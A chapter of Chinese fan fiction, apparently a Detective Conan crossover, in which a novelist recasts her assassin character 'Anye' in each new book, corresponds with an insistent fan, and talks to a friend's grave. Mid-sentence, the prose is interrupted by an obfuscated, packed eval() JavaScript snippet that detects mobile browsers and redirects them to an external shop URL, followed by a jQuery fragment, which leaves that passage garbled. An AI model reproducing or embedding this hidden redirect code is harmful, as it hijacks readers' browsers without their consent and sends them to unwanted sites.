春去秋来，时光如白驹过隙，在稿纸的沙沙声、拉面汤锅的沸腾声和季节更迭中悄然飞逝。
江晴的新书《星霜奇缘：时空交错的魔法恋歌》终于摆上了书店的书架。与上一本相比，这个故事构建了一个更加宏大奇诡的魔法世界，赢得了不少赞誉。
在那个魔法与时空交织的故事里，她埋下了一个让老读者会心一笑的彩蛋——那位备受争议的银发杀手“暗夜”，这次摇身一变，成为了一个游走在文明边缘地带的暴力医师。
他依旧顶着一头标志性的银色长发，骑着一匹被描述为“通体漆黑、额生骨角、眼神倨傲”的变异独角兽，在荒原与废弃城镇间飙车巡诊。他痴迷于各种疑难杂症，遇到从未见过的伤口或毒素会兴奋得双眼放光，但治疗手段极其粗暴——常常是一边用闪烁着不详绿光的魔法稳定伤者性命，一边因为嫌伤者吵闹或挣扎而毫不犹豫地一记手刀将其劈晕，甚至会对造成伤害的匪徒或怪物进行惨无人道的“医学研究式”殴打，美其名曰“病理样本采集”。
新书出版后不久，江晴果然又收到了那个熟悉署名的来信。这次的信纸仿佛都带着怒气。
“佐藤老师：
新作已拜读。故事很有趣。但是！我必须以最严肃的态度提出抗议！
您怎么能让‘暗夜’去当医生？！这简直是暴殄天物！他是一位天生的暗杀者！是游走于月下的孤高艺术家！是掌控生死的寂静裁决者！他拥有着卓越的洞察力、精准无比的行动力、冷酷决绝的意志！这些与生俱来的才能，理应奉献给更宏大、更黑暗的舞台，而不是用来……用来给那些蝼蚁看什么见鬼的疑难杂症！
他挥舞的应该是定制版的Walther WA2000，而不是可笑的注射枪！他座驾应该是经过重度改装的保时捷356A，散发着危险与优雅并存的气息，而不是一头粗鲁的、喷火的牲口！
当然，如果您坚持要让‘暗夜’先生从事一些……嗯，‘副业’，我认为他至少需要一位得力的助手。一位能够完美执行他意志、沉默寡言、同样充满力量感的搭档。最好戴着墨镜，表情冷酷，动作干净利落。这才能配得上‘暗夜’先生的格调！期待您的回复。
暗夜的粉丝 鱼冢三郎敬上”
看着这封措辞激烈却又莫名带着一股认真劲的“抗议信”，江晴忍不住笑出了声。这位鱼冢先生对“暗夜”的执着，简直到了可爱的地步。她提笔回信，没有承诺改变，而是写道：“鱼冢先生，感谢您对‘暗夜’的持续关注。或许在不同的时空里，‘暗夜’会展现出不同的侧面？至于助手……您的建议很有趣，我会认真考虑。”
时光的河流继续奔涌。一年，两年，三年……江晴以大约一年一本的速度稳定地产出着各种恋爱小说。她构建了不同的世界，讲述了不同的故事，但每一本书里，“暗夜”都会以各种意想不到的身份登场。
有时，他是一所精英学院里挂着温和笑容、却能用最优雅的言辞将学生打击到体无完肤的魔鬼教师；有时，他是某条美食街上，开着流动餐车，能用平凡食材做出极致美味、却对挑剔的食客报以冰冷眼神的神秘厨师；最离谱的一次，他甚至变成了一只通体银白、毛发如渐变星河、性格高傲、对愚蠢人类（特指主角）不屑一顾，却总在关键时刻一爪子拍飞危险的银渐层猫咪。
江晴与鱼冢三郎的通信频次也逐渐增加。虽然受限于邮路和各自的生活，并非每次都能及时回复，但这种延迟反而带来了一种独特的期待感。不知从何时起，他们的交流方式也升级了——从传统的书信，变成了通过电子邮件（在当时还是相当新潮的方式）联系。网络的即时性虽然部分取代了等待的浪漫，但他们的聊天内容，依然紧紧围绕着“暗夜”展开，从武器装备到行事风格，鱼冢三郎总能提出各种细致入微、甚至有些过于专业化的建议，而江晴则时而采纳，时而恶作剧般地进行魔改，比如将他变成一只猫。
生活也在悄然改变。
江晴依然住在绿意公寓，这里是她在动荡时空中的一个安稳锚点。
美穗成功考取了製菓衛生師资格，经过几年的积累，终于在东京原宿的一条精致小巷里，开了一家名为“Sweet Memory”的甜品店，主打创意法式甜点和日式融合风味，生意颇为红火。
拉面馆的佐藤老板，年纪终究是大了，腰伤虽好，精力却大不如前。他将阿藤拉面完全交给了小光，自己则收拾行装，回了老家乡下养老，据说日子过得颇为悠闲。小光褪去了当年的青涩与戾气，虽然话依旧不多，但将拉面馆打理得井井有条，甚至开发了几款颇受年轻人欢迎的新式拉面。
在美穗的“Sweet Memory”开业那天，江晴、美穗和松田阵平难得地小聚了一次。松田依旧戴着墨镜，气质比几年前更加冷峻内敛，席间话很少，但能看出他为美穗感到高兴。只是警察的工作似乎永远忙不完，聚会还没完全结束，他就因为一个电话匆匆离去。此后，江晴与松田的联系，便只停留在逢年过节时手机里简短的问候和祝福，如同微弱的信号，提示着彼此的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680732|188745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
存在。
而那个只在深夜出现、有着一双温和猫眼的不知名先生，自那个雪夜告别后，便如同人间蒸发，再也没有出现。这份悬而未决的牵挂，被她默默压在了心底。
如今，江晴已经不再需要去拉面馆打工了。她的版税和稿费足以支撑她在东京的生活。写作，从谋生手段，渐渐变成了她与这个世界对话的方式，也成了她生活的重心。
她最常去的地方，依然是那片墓园。
萩原研二的墓碑前，总是很干净。江晴常常会带上一罐啤酒，有时就单纯地坐在旁边，看着天空发呆，一坐就是一下午。有时，她会像对着一位老朋友一样，絮絮叨叨地说着话。
“萩原，我又卡文了。”她晃着手里喝了一半的啤酒罐，语气带着点苦恼，“新故事想写一个关于时间循环的设定，主角被困在同一天，可是怎么让他打破循环的逻辑，我总是想不好……你说，如果被困住的是你，你会怎么做？”
微风拂过，只有树叶的轻响。
“美穗的店最近推出了新品，‘星空马卡龙’，好看是好看，就是甜得有点齁嗓子。小光那家伙，上星期居然跑去相亲了，回来被我问得耳朵都红了，死活不肯说结果怎么样。”
她喝了一口啤酒，冰凉的液体带着时光的味道。
“松田那家伙，上个月给我发了个‘安’字，算是报平安吧？我回了他一句‘注意头发’，他再也没理我。啧，还是那么不可爱。”
“哦，对了，‘暗夜’那个角色，在我的新书里，我打算让他去当个调香师，用气味杀人于无形，怎么样？鱼冢先生知道了一定又会写信来抗议，说他应该用重型武器才对……”她说着说着，自己先笑了起来。
笑声在空旷的墓园里轻轻回荡，然后渐渐沉寂下来。她脸上的笑容慢慢收敛，目光落在墓碑那张永恒的照片上，变得悠远而复杂。
“时间过得真快啊……”她轻声叹息，“有时候写着那些光怪陆离的故事，我都会恍惚，到底哪个世界才是真实的？或者说，都有可能是真的？”
她将最后一点啤酒喝完，铝罐在她手中发出轻微的变形声。她站起身，拍了拍衣服上可能沾到的草屑。
“好了，不打扰你清净了。下次再来看你，也不知道到时候，又会有什么新的故事可以说给你听。”
她转身离开，步伐平稳。春日的阳光将她的影子拉长，与墓园里无数静止的影子交织在一起。她的生活，似乎就这样定格在了这小小的公寓、熟悉的墓园和无穷无尽的故事里。